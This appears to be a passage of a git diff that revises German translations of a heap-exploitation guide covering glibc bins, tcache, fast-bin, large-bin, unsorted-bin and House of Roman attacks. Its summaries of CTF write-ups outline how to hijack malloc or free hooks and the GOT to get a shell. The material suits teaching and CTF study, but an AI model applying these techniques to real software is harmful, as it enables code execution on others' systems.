-Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte in der unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**. Dann weisen wir einen größeren Chunk von 0x110 zu, was dazu führt, dass **der Chunk in der unsortierten Bin in die kleine Bin geht**.
+Beachten Sie, wie wir 9 Chunks derselben Größe zuweisen und freigeben, sodass sie **den tcache füllen** und der achte im unsortierten Bin gespeichert wird, weil er **zu groß für den fastbin ist** und der neunte nicht freigegeben wird, sodass der neunte und der achte **nicht mit dem oberen Chunk zusammengeführt werden**. Dann weisen wir einen größeren Chunk von 0x110 zu, was dazu führt, dass **der Chunk im unsortierten Bin in den kleinen Bin geht**.
 
-Kompilieren Sie es und debuggen Sie es mit einem Breakpoint im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass die tcache Bin voll ist und ein Chunk in der kleinen Bin ist:
+Kompilieren Sie es und debuggen Sie es mit einem Breakpoint im `ret` Opcode der `main` Funktion. Dann können Sie mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk im kleinen Bin ist:
 ```bash
 gef➤  heap bins
 ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -394,9 +394,9 @@ Fastbins[idx=6, size=0x80] 0x00
 
 ### Große Bins
 
-Im Gegensatz zu kleinen Bins, die Chunks fester Größen verwalten, **verwaltet jeder große Bin einen Bereich von Chunk-Größen**. Dies ist flexibler und ermöglicht es dem System, **verschiedene Größen** unterzubringen, ohne einen separaten Bin für jede Größe zu benötigen.
+Im Gegensatz zu kleinen Bins, die Chunks fester Größen verwalten, **verwaltet jeder große Bin einen Bereich von Chunk-Größen**. Dies ist flexibler und ermöglicht es dem System, **verschiedene Größen** unterzubringen, ohne dass ein separater Bin für jede Größe benötigt wird.
 
-In einem Speicher-Allocator beginnen große Bins dort, wo kleine Bins enden. Die Bereiche für große Bins wachsen progressiv größer, was bedeutet, dass der erste Bin Chunks von 512 bis 576 Bytes abdecken könnte, während der nächste von 576 bis 640 Bytes abdeckt. Dieses Muster setzt sich fort, wobei der größte Bin alle Chunks über 1 MB enthält.
+In einem Speicher-Allocator beginnen große Bins dort, wo kleine Bins enden. Die Bereiche für große Bins wachsen progressiv, was bedeutet, dass der erste Bin Chunks von 512 bis 576 Bytes abdecken könnte, während der nächste von 576 bis 640 Bytes abdeckt. Dieses Muster setzt sich fort, wobei der größte Bin alle Chunks über 1 MB enthält.
 
 Große Bins sind langsamer im Betrieb im Vergleich zu kleinen Bins, da sie **eine Liste von variierenden Chunk-Größen sortieren und durchsuchen müssen, um die beste Passform** für eine Zuweisung zu finden. Wenn ein Chunk in einen großen Bin eingefügt wird, muss er sortiert werden, und wenn Speicher zugewiesen wird, muss das System den richtigen Chunk finden. Diese zusätzliche Arbeit macht sie **langsamer**, aber da große Zuweisungen seltener sind als kleine, ist es ein akzeptabler Kompromiss.
 
@@ -468,9 +468,9 @@ chunks[0] = malloc(0x2000);
 return 0;
 }
 ```
-2 große Zuweisungen werden durchgeführt, dann wird eine freigegeben (was sie in den unsortierten Bin bringt) und eine größere Zuweisung wird vorgenommen (wodurch die freie aus dem unsortierten Bin in den großen Bin verschoben wird).
+2 große Zuweisungen werden durchgeführt, dann wird eine freigegeben (was sie in den unsortierten Bin bringt) und eine größere Zuweisung wird vorgenommen (wodurch die freigegebene aus dem unsortierten Bin in den großen Bin verschoben wird).
 
-Kompiliere es und debugge es mit einem Haltepunkt im `ret` Opcode der `main` Funktion. Dann kannst du mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk im großen Bin ist:
+Kompiliere es und debugge es mit einem Breakpoint im `ret` Opcode der `main` Funktion. Dann kannst du mit `gef` sehen, dass der tcache Bin voll ist und ein Chunk im großen Bin ist:
 ```bash
 gef➤  heap bin
 ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@@ -519,10 +519,10 @@ the 2 preceding words to be zero during this interval as well.)
 /* Conveniently, the unsorted bin can be used as dummy top on first call */
 #define initial_top(M)              (unsorted_chunks (M))
 ```
-Grundsätzlich ist dies ein Chunk, der den derzeit verfügbaren Heap enthält. Wenn ein malloc durchgeführt wird und kein verfügbarer freier Chunk vorhanden ist, wird dieser Top Chunk seine Größe reduzieren, um den notwendigen Platz zu schaffen.\
+Grundsätzlich handelt es sich hierbei um einen Block, der den derzeit verfügbaren Heap enthält. Wenn ein malloc durchgeführt wird und kein verfügbarer freier Block vorhanden ist, wird dieser Top Chunk seine Größe reduzieren, um den notwendigen Platz zu schaffen.\
 Der Zeiger auf den Top Chunk wird in der `malloc_state`-Struktur gespeichert.
 
-Darüber hinaus ist es zu Beginn möglich, den unsortierten Chunk als Top Chunk zu verwenden.
+Darüber hinaus ist es zu Beginn möglich, den unsortierten Block als Top Chunk zu verwenden.
 
 <details>
 
@@ -540,7 +540,7 @@ gets(chunk);
 return 0;
 }
 ```
-Nachdem ich es kompiliert und mit einem Haltepunkt im `ret`-Opcode von `main` debuggt habe, sah ich, dass malloc die Adresse `0xaaaaaaac12a0` zurückgab und dies sind die Chunks:
+Nachdem ich es kompiliert und mit einem Haltepunkt im `ret` Opcode von `main` debuggt habe, sah ich, dass malloc die Adresse `0xaaaaaaac12a0` zurückgab und dies sind die Chunks:
 ```bash
 gef➤  heap chunks
 Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
@@ -553,7 +553,7 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
 [0x0000aaaaaaac16d0     41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00    AAAAAAA.........]
 Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  top chunk
 ```
-Wo zu sehen ist, dass der obere Chunk an der Adresse `0xaaaaaaac1ae0` ist. Das ist keine Überraschung, da der zuletzt zugewiesene Chunk in `0xaaaaaaac12a0` mit einer Größe von `0x410` war und `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
+Wo zu sehen ist, dass der obere Chunk an der Adresse `0xaaaaaaac1ae0` ist. Das ist keine Überraschung, da der zuletzt zugewiesene Chunk bei `0xaaaaaaac12a0` mit einer Größe von `0x410` war und `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` .\
 Es ist auch möglich, die Länge des oberen Chunks in seinem Chunk-Header zu sehen:
 ```bash
 gef➤  x/8wx 0xaaaaaaac1ae0 - 16
@@ -564,7 +564,7 @@ gef➤  x/8wx 0xaaaaaaac1ae0 - 16
 
 ### Letzte Restgröße
 
-Wenn malloc verwendet wird und ein Chunk geteilt wird (zum Beispiel aus dem unsortierten Bin oder vom oberen Chunk), wird der Chunk, der aus dem Rest des geteilten Chunks erstellt wird, als Letzte Restgröße bezeichnet und sein Zeiger wird in der `malloc_state`-Struktur gespeichert.
+Wenn malloc verwendet wird und ein Chunk geteilt wird (zum Beispiel aus dem unsortierten Bin oder vom Top Chunk), wird der Chunk, der aus dem Rest des geteilten Chunks erstellt wird, als Letzte Restgröße bezeichnet und sein Zeiger wird in der `malloc_state`-Struktur gespeichert.
 
 ## Allocationsfluss
 

src/binary-exploitation/libc-heap/fast-bin-attack.md

@@ -4,13 +4,14 @@
 
 ## Grundlegende Informationen
 
-Für weitere Informationen darüber, was ein Fast Bin ist, besuchen Sie bitte diese Seite:
+Für weitere Informationen darüber, was ein Fast Bin ist, siehe diese Seite:
+
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Da der Fast Bin eine einfach verkettete Liste ist, gibt es viel weniger Schutzmaßnahmen als in anderen Bins, und es reicht aus, **eine Adresse in einem freigegebenen Fast Bin** Chunk zu ändern, um später **einen Chunk an einer beliebigen Speicheradresse zuzuweisen**.
+Da der Fast Bin eine einfach verkettete Liste ist, gibt es viel weniger Schutzmaßnahmen als in anderen Bins, und es reicht aus, **eine Adresse in einem freigegebenen Fast Bin** Chunk zu ändern, um **später einen Chunk an einer beliebigen Speicheradresse zuzuweisen**.
 
 Zusammenfassend:
 ```c
@@ -130,7 +131,7 @@ Schließlich wurde ein **one gadget** dort geschrieben.
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
 - Es gibt einen Heap-Overflow und Use-after-free sowie Double-free, da es möglich ist, die Zeiger wiederzuverwenden und erneut freizugeben, wenn ein Chunk freigegeben wird.
 - **Libc-Infoleak**: Einfach einige Chunks freigeben und sie erhalten einen Zeiger auf einen Teil des Standorts der Hauptarena. Da Sie freigegebene Zeiger wiederverwenden können, lesen Sie einfach diese Adresse.
-- **Fast-Bin-Angriff**: Alle Zeiger auf die Zuweisungen werden in einem Array gespeichert, sodass wir ein paar Fast-Bin-Chunks freigeben und im letzten den Zeiger überschreiben können, um ein Stück vor diesem Array von Zeigern zu zeigen. Dann weisen wir ein paar Chunks mit derselben Größe zu und wir erhalten zuerst den legitimen und dann den gefälschten, der das Array von Zeigern enthält. Wir können jetzt diese Zuweisungszeiger überschreiben, um die GOT-Adresse von `free` auf `system` zu zeigen und dann `"/bin/sh"` in Chunk 1 zu schreiben, um dann `free(chunk1)` aufzurufen, was stattdessen `system("/bin/sh")` ausführt.
+- **Fast-Bin-Angriff**: Alle Zeiger auf die Zuweisungen werden in einem Array gespeichert, sodass wir ein paar Fast-Bin-Chunks freigeben und im letzten den Zeiger überschreiben können, um ein Stück vor diesem Array von Zeigern zu zeigen. Dann weisen wir ein paar Chunks mit derselben Größe zu und erhalten zuerst den legitimen und dann den gefälschten, der das Array von Zeigern enthält. Wir können jetzt diese Zuweisungszeiger überschreiben, um die GOT-Adresse von `free` auf `system` zu zeigen und dann `"/bin/sh"` in Chunk 1 zu schreiben, um dann `free(chunk1)` aufzurufen, was stattdessen `system("/bin/sh")` ausführt.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
 - Ein weiteres Beispiel für die Ausnutzung eines ein Byte großen Overflows, um Chunks im unsortierten Bin zu konsolidieren und einen libc-Infoleak zu erhalten und dann einen Fast-Bin-Angriff durchzuführen, um den malloc-Hook mit einer One-Gadget-Adresse zu überschreiben.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)

src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md

@@ -32,7 +32,7 @@ malloc-and-sysmalloc.md
 - **Überprüfungen während der schnellen Bin-Suche:**
 - Wenn der Chunk nicht ausgerichtet ist:
 - Fehlermeldung: `malloc(): unaligned fastbin chunk detected 2`
-- Wenn der vorwärts gerichtete Chunk nicht ausgerichtet ist:
+- Wenn der vorwärts Chunk nicht ausgerichtet ist:
 - Fehlermeldung: `malloc(): unaligned fastbin chunk detected`
 - Wenn der zurückgegebene Chunk eine Größe hat, die aufgrund seines Index in der schnellen Bin nicht korrekt ist:
 - Fehlermeldung: `malloc(): memory corruption (fast)`
@@ -64,10 +64,10 @@ malloc-and-sysmalloc.md
 - Fehlermeldung: `malloc(): largebin double linked list corrupted (nextsize)`
 - Wenn `fwd->bk->fd != fwd`:
 - Fehlermeldung: `malloc(): largebin double linked list corrupted (bk)`
-- **Überprüfungen während der großen Bin-Suche (nach Index):**
+- **Überprüfungen während der großen Bin (nach Index) Suche:**
 - `bck->fd-> bk != bck`:
 - Fehlermeldung: `malloc(): corrupted unsorted chunks`
-- **Überprüfungen während der großen Bin-Suche (nächste größere):**
+- **Überprüfungen während der großen Bin (nächste größere) Suche:**
 - `bck->fd-> bk != bck`:
 - Fehlermeldung: `malloc(): corrupted unsorted chunks2`
 - **Überprüfungen während der Verwendung des Top-Chunks:**

src/binary-exploitation/libc-heap/house-of-roman.md

@@ -8,7 +8,7 @@ Dies war eine sehr interessante Technik, die RCE ohne Leaks über gefälschte Fa
 
 ### Code
 
-- Ein Beispiel finden Sie unter [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- Sie finden ein Beispiel unter [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
 
 ### Ziel
 
@@ -16,8 +16,8 @@ Dies war eine sehr interessante Technik, die RCE ohne Leaks über gefälschte Fa
 
 ### Anforderungen
 
-- Bearbeiten Sie die Zeiger für Fastbin und unsorted bin
+- Bearbeiten Sie die Fastbin- und unsorted-bin-Zeiger
-- 12 Bits Zufälligkeit müssen brute-forced werden (0,02% Chance), um zu funktionieren
+- 12 Bits Zufälligkeit müssen brute-forced werden (0,02% Chance), dass es funktioniert
 
 ## Angriffs Schritte
 
@@ -25,12 +25,12 @@ Dies war eine sehr interessante Technik, die RCE ohne Leaks über gefälschte Fa
 
 Erstellen Sie mehrere Chunks:
 
-- `fastbin_victim` (0x60, Offset 0): UAF-Chunk, um später den Heap-Zeiger auf den LibC-Wert zu bearbeiten.
+- `fastbin_victim` (0x60, Offset 0): UAF-Chunk, um später den Heap-Zeiger zu bearbeiten, um auf den LibC-Wert zu zeigen.
 - `chunk2` (0x80, Offset 0x70): Für gute Ausrichtung
 - `main_arena_use` (0x80, Offset 0x100)
 - `relative_offset_heap` (0x60, Offset 0x190): relativer Offset auf den 'main_arena_use'-Chunk
 
-Dann `free(main_arena_use)`, was diesen Chunk in die unsorted-Liste platziert und einen Zeiger auf `main_arena + 0x68` in beiden `fd` und `bk` Zeigern erhält.
+Dann `free(main_arena_use)`, was diesen Chunk in die unsorted-Liste platziert und einen Zeiger auf `main_arena + 0x68` in beiden `fd`- und `bk`-Zeigern erhält.
 
 Jetzt wird ein neuer Chunk `fake_libc_chunk(0x60)` zugewiesen, da er die Zeiger auf `main_arena + 0x68` in `fd` und `bk` enthalten wird.
 

src/binary-exploitation/libc-heap/large-bin-attack.md

@@ -17,10 +17,10 @@ Im Grunde genommen sieht man hier, dass in der neuesten "aktuellen" Version von
 In diesem Beispiel finden sich die folgenden Bedingungen:
 
 - Ein großer Chunk wird zugewiesen
-- Ein großer Chunk, der kleiner als der erste ist, aber im selben Index, wird zugewiesen
+- Ein großer Chunk, der kleiner ist als der erste, aber im selben Index ist, wird zugewiesen
-- Muss kleiner sein, damit er zuerst in den Bin kommt
+- Muss kleiner sein, damit er zuerst in den Bin geht
 - (Ein Chunk wird erstellt, um das Zusammenführen mit dem oberen Chunk zu verhindern)
-- Dann wird der erste große Chunk freigegeben und ein neuer Chunk, der größer ist, wird zugewiesen -> Chunk1 geht in den großen Bin
+- Dann wird der erste große Chunk freigegeben und ein neuer Chunk, der größer ist als dieser, wird zugewiesen -> Chunk1 geht in den großen Bin
 - Dann wird der zweite große Chunk freigegeben
 - Jetzt die Verwundbarkeit: Der Angreifer kann `chunk1->bk_nextsize` auf `[target-0x20]` modifizieren
 - Dann wird ein größerer Chunk als Chunk 2 zugewiesen, sodass Chunk2 in den großen Bin eingefügt wird und die Adresse `chunk1->bk_nextsize->fd_nextsize` mit der Adresse von Chunk2 überschreibt

src/binary-exploitation/libc-heap/tcache-bin-attack.md

@@ -14,7 +14,7 @@ Zunächst einmal ist zu beachten, dass der Tcache in Glibc Version 2.26 eingefü
 
 Der **Tcache-Angriff** (auch bekannt als **Tcache-Vergiftung**), der auf der [**guyinatuxido-Seite**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) vorgeschlagen wurde, ist sehr ähnlich dem Fast-Bin-Angriff, bei dem das Ziel darin besteht, den Zeiger auf den nächsten Chunk im Bin innerhalb eines freigegebenen Chunks auf eine beliebige Adresse zu überschreiben, sodass es später möglich ist, **diese spezifische Adresse zuzuweisen und potenziell Zeiger zu überschreiben**.
 
-Heutzutage erhalten Sie jedoch, wenn Sie den genannten Code ausführen, den Fehler: **`malloc(): unaligned tcache chunk detected`**. Daher ist es erforderlich, als Adresse im neuen Zeiger eine ausgerichtete Adresse zu schreiben (oder das Binärprogramm ausreichend oft auszuführen, sodass die geschriebene Adresse tatsächlich ausgerichtet ist).
+Heutzutage erhalten Sie jedoch, wenn Sie den genannten Code ausführen, den Fehler: **`malloc(): unaligned tcache chunk detected`**. Daher ist es notwendig, als Adresse im neuen Zeiger eine ausgerichtete Adresse zu schreiben (oder das Binärprogramm genügend oft auszuführen, sodass die geschriebene Adresse tatsächlich ausgerichtet ist).
 
 ### Tcache-Index-Angriff
 
@@ -23,21 +23,21 @@ In der Regel ist es möglich, am Anfang des Heaps einen Chunk zu finden, der die
 ## Beispiele
 
 - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
-- **Libc-Info-Leak**: Es ist möglich, die Tcache zu füllen, einen Chunk in die unsortierte Liste hinzuzufügen, den Tcache zu leeren und **den Chunk aus dem unsortierten Bin erneut zuzuweisen**, wobei nur die ersten 8B überschrieben werden, während die **zweite Adresse zu libc aus dem Chunk intakt bleibt, sodass wir sie lesen können**.
+- **Libc-Info-Leak**: Es ist möglich, die Tcache zu füllen, einen Chunk in die unsortierte Liste hinzuzufügen, die Tcache zu leeren und **den Chunk aus dem unsortierten Bin erneut zuzuweisen**, wobei nur die ersten 8B überschrieben werden, während die **zweite Adresse zu libc aus dem Chunk intakt bleibt, sodass wir sie lesen können**.
-- **Tcache-Angriff**: Die Binärdatei ist anfällig für einen 1B Heap-Overflow. Dies wird ausgenutzt, um den **Size-Header** eines zugewiesenen Chunks zu ändern und ihn größer zu machen. Dann wird dieser Chunk **freigegeben**, wodurch er dem Tcache von Chunks der gefälschten Größe hinzugefügt wird. Dann werden wir einen Chunk mit der gefälschten Größe zuweisen, und der vorherige Chunk wird **zurückgegeben, wobei bekannt ist, dass dieser Chunk tatsächlich kleiner war**, was die Möglichkeit bietet, **den nächsten Chunk im Speicher zu überschreiben**.\
+- **Tcache-Angriff**: Die Binärdatei ist anfällig für einen 1B Heap-Overflow. Dies wird ausgenutzt, um den **Size-Header** eines zugewiesenen Chunks zu ändern und ihn größer zu machen. Dann wird dieser Chunk **freigegeben**, wodurch er zur Tcache von Chunks der gefälschten Größe hinzugefügt wird. Dann werden wir einen Chunk mit der gefälschten Größe zuweisen, und der vorherige Chunk wird **zurückgegeben, wobei bekannt ist, dass dieser Chunk tatsächlich kleiner war**, was die Möglichkeit bietet, **den nächsten Chunk im Speicher zu überschreiben**.\
-Wir werden dies ausnutzen, um den **FD-Zeiger des nächsten Chunks** auf **`malloc_hook`** zu zeigen, sodass es möglich ist, 2 Zeiger zuzuweisen: zuerst den legitimen Zeiger, den wir gerade geändert haben, und dann wird die zweite Zuweisung einen Chunk in **`malloc_hook`** zurückgeben, den wir ausnutzen können, um einen **one gadget** zu schreiben.
+Wir werden dies ausnutzen, um **den FD-Zeiger des nächsten Chunks** auf **`malloc_hook`** zu zeigen, sodass es möglich ist, 2 Zeiger zuzuweisen: zuerst den legitimen Zeiger, den wir gerade modifiziert haben, und dann wird die zweite Zuweisung einen Chunk in **`malloc_hook`** zurückgeben, den wir ausnutzen können, um einen **one gadget** zu schreiben.
 - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
-- **Libc-Info-Leak**: Es gibt eine Verwendung nach der Freigabe und eine doppelte Freigabe. In diesem Bericht hat der Autor eine Adresse von libc geleakt, indem er die Adresse eines Chunks gelesen hat, der in einem kleinen Bin platziert war (ähnlich wie das Leaken aus dem unsortierten Bin, aber aus dem kleinen).
+- **Libc-Info-Leak**: Es gibt eine Verwendung nach der Freigabe und eine doppelte Freigabe. In diesem Bericht hat der Autor eine Adresse von libc geleakt, indem er die Adresse eines Chunks gelesen hat, der in einem kleinen Bin platziert wurde (ähnlich wie das Leaken aus dem unsortierten Bin, aber aus dem kleinen).
-- **Tcache-Angriff**: Ein Tcache wird über eine **doppelte Freigabe** durchgeführt. Der gleiche Chunk wird zweimal freigegeben, sodass der Chunk im Tcache auf sich selbst zeigt. Dann wird er zugewiesen, sein FD-Zeiger wird geändert, um auf den **free hook** zu zeigen, und dann wird er erneut zugewiesen, sodass der nächste Chunk in der Liste im free hook sein wird. Dann wird auch dieser zugewiesen, und es ist möglich, die Adresse von `system` hier zu schreiben, sodass wir, wenn ein malloc mit `"/bin/sh"` freigegeben wird, eine Shell erhalten.
+- **Tcache-Angriff**: Ein Tcache wird über eine **doppelte Freigabe** durchgeführt. Der gleiche Chunk wird zweimal freigegeben, sodass der Chunk im Tcache auf sich selbst zeigt. Dann wird er zugewiesen, sein FD-Zeiger wird geändert, um auf den **Free Hook** zu zeigen, und dann wird er erneut zugewiesen, sodass der nächste Chunk in der Liste im Free Hook sein wird. Dann wird auch dieser zugewiesen, und es ist möglich, die Adresse von `system` hier zu schreiben, sodass wir, wenn ein malloc mit `"/bin/sh"` freigegeben wird, eine Shell erhalten.
 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
 - Die Hauptanfälligkeit hier ist die Fähigkeit, jede Adresse im Heap durch Angabe ihres Offsets zu `free`.
-- **Tcache-Index-Angriff**: Es ist möglich, einen Chunk einer Größe zuzuweisen und freizugeben, der, wenn er im Tcache-Chunk (dem Chunk mit den Informationen zu den Tcache-Bins) gespeichert wird, eine **Adresse mit dem Wert 0x100** erzeugt. Dies liegt daran, dass der Tcache die Anzahl der Chunks in jedem Bin in verschiedenen Bytes speichert, sodass ein Chunk in einem bestimmten Index den Wert 0x100 erzeugt.
+- **Tcache-Index-Angriff**: Es ist möglich, einen Chunk einer Größe zuzuweisen und freizugeben, der, wenn er im Tcache-Chunk (der Chunk mit den Informationen zu den Tcache-Bins) gespeichert wird, eine **Adresse mit dem Wert 0x100** erzeugt. Dies liegt daran, dass der Tcache die Anzahl der Chunks in jedem Bin in verschiedenen Bytes speichert, sodass ein Chunk in einem bestimmten Index den Wert 0x100 erzeugt.
 - Dann sieht dieser Wert so aus, als gäbe es einen Chunk der Größe 0x100. Dies ermöglicht es, ihn durch `free` dieser Adresse auszunutzen. Dies wird **diese Adresse zum Index der Chunks der Größe 0x100 im Tcache hinzufügen**.
 - Dann wird durch **Zuweisen** eines Chunks der Größe **0x100** die vorherige Adresse als Chunk zurückgegeben, was es ermöglicht, andere Tcache-Indizes zu überschreiben.\
-Zum Beispiel, indem die Adresse des malloc hooks in einen von ihnen gesetzt wird und ein Chunk der Größe dieses Index zugewiesen wird, wird ein Chunk im calloc hook gewährt, was das Schreiben eines one gadget ermöglicht, um eine Shell zu erhalten.
+Zum Beispiel, indem die Adresse des malloc-Hooks in einen von ihnen gesetzt wird und ein Chunk der Größe dieses Index zugewiesen wird, wird ein Chunk im calloc-Hook gewährt, was das Schreiben eines one gadgets ermöglicht, um eine Shell zu erhalten.
 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
 - Die gleiche Verwundbarkeit wie zuvor mit einer zusätzlichen Einschränkung.
-- **Tcache-Index-Angriff**: Ähnlicher Angriff wie der vorherige, aber mit weniger Schritten, indem **der Chunk, der die Tcache-Informationen enthält, freigegeben wird**, sodass seine Adresse zum Tcache-Index seiner Größe hinzugefügt wird, sodass es möglich ist, diese Größe zuzuweisen und die Tcache-Chunk-Informationen als Chunk zu erhalten, was es ermöglicht, den free hook als Adresse eines Index hinzuzufügen, ihn zuzuweisen und einen one gadget darauf zu schreiben.
+- **Tcache-Index-Angriff**: Ähnlicher Angriff wie der vorherige, aber mit weniger Schritten, indem **der Chunk, der die Tcache-Informationen enthält, freigegeben wird**, sodass seine Adresse zum Tcache-Index seiner Größe hinzugefügt wird, sodass es möglich ist, diese Größe zuzuweisen und die Tcache-Chunk-Informationen als Chunk zu erhalten, was es ermöglicht, den Free Hook als Adresse eines Index hinzuzufügen, ihn zuzuweisen und einen one gadget darauf zu schreiben.
 - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
 - **Write After Free**, um eine Zahl zum `fd`-Zeiger hinzuzufügen.
 - Eine Menge **Heap Feng-Shui** ist in dieser Herausforderung erforderlich. Der Bericht zeigt, wie **die Kontrolle über den Kopf der Tcache** Freiliste sehr nützlich ist.

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -17,16 +17,16 @@ Im Grunde genommen ermöglicht dieser Angriff, **eine große Zahl an einer belie
 > [!TIP]
 > Ein Blick auf das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) zeigt, dass die Verwendung von 0x4000 und 0x5000 anstelle von 0x400 und 0x500 als Chunk-Größen (um Tcache zu vermeiden) dazu führt, dass der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird.
 >
-> Daher erfordert dieser unsortierte Bin-Angriff jetzt (neben anderen Überprüfungen) auch, dass die doppelt verkettete Liste repariert wird, sodass `victim->bk->fd == victim` oder nicht `victim->fd == av (arena)` umgangen wird, was bedeutet, dass die Adresse, an die wir schreiben wollen, die Adresse des gefälschten Chunks in ihrer `fd`-Position haben muss und dass der gefälschte Chunk `fd` auf die Arena zeigt.
+> Daher erfordert dieser unsortierte Bin-Angriff jetzt (neben anderen Überprüfungen) auch, dass die doppelt verkettete Liste repariert wird, sodass `victim->bk->fd == victim` oder nicht `victim->fd == av (arena)` umgangen wird, was bedeutet, dass die Adresse, an die wir schreiben möchten, die Adresse des gefälschten Chunks in ihrer `fd`-Position haben muss und dass der gefälschte Chunk `fd` auf die Arena zeigt.
 
 > [!CAUTION]
 > Beachten Sie, dass dieser Angriff den unsortierten Bin (und damit auch kleine und große) beschädigt. Daher können wir jetzt nur **Allokationen aus dem Fast Bin verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allokieren, sonst wird das Programm abstürzen.**
 >
-> Beachten Sie, dass das Überschreiben von **`global_max_fast`** in diesem Fall hilfreich sein könnte, da man darauf vertraut, dass der Fast Bin in der Lage ist, sich um alle anderen Allokationen zu kümmern, bis der Exploit abgeschlossen ist.
+> Beachten Sie, dass das Überschreiben von **`global_max_fast`** in diesem Fall hilfreich sein könnte, in der Annahme, dass der Fast Bin in der Lage ist, sich um alle anderen Allokationen zu kümmern, bis der Exploit abgeschlossen ist.
 
-Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt dies sehr gut, obwohl, wenn Sie die Mallocs ändern, um genügend Speicher zu allokieren, sodass sie nicht in einem Tcache enden, Sie sehen können, dass der zuvor erwähnte Fehler auftritt, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
+Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt dies sehr gut, obwohl Sie, wenn Sie die Mallocs ändern, um genügend Speicher zu allokieren, damit sie nicht in einem Tcache enden, sehen können, dass der zuvor erwähnte Fehler auftritt, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
 
-## Unsorted Bin Infoleak Attack
+## Unsorted Bin Infoleak Angriff
 
 Dies ist tatsächlich ein sehr grundlegendes Konzept. Die Chunks im unsortierten Bin werden Zeiger haben. Der erste Chunk im unsortierten Bin wird tatsächlich die **`fd`**- und **`bk`**-Links **auf einen Teil der Hauptarena (Glibc)** zeigen.\
 Daher, wenn Sie **einen Chunk in einen unsortierten Bin legen und ihn lesen** (use after free) oder **ihn erneut allokieren, ohne mindestens 1 der Zeiger zu überschreiben**, um ihn dann **zu lesen**, können Sie einen **Glibc-Infoleak** erhalten.
@@ -37,19 +37,19 @@ Dann wurde C deallokiert und mit A+B konsolidiert (aber B war weiterhin in Gebra
 ## Referenzen & Weitere Beispiele
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
-- Das Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, sodass es möglich ist, die Flagge zu erhalten und PIE nicht aktiviert ist.
+- Das Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, damit es möglich ist, die Flagge zu erhalten und PIE nicht aktiviert ist.
 - Es ist möglich, Chunks beliebiger Größen zu generieren, und es gibt einen Heap-Overflow mit der gewünschten Größe.
 - Der Angriff beginnt mit der Erstellung von 3 Chunks: chunk0, um den Overflow auszunutzen, chunk1, um überlaufen zu werden, und chunk2, damit der Top-Chunk die vorherigen nicht konsolidiert.
-- Dann wird chunk1 freigegeben und chunk0 wird überlaufen, sodass der `bk`-Zeiger von chunk1 auf: `bk = magic - 0x10` zeigt.
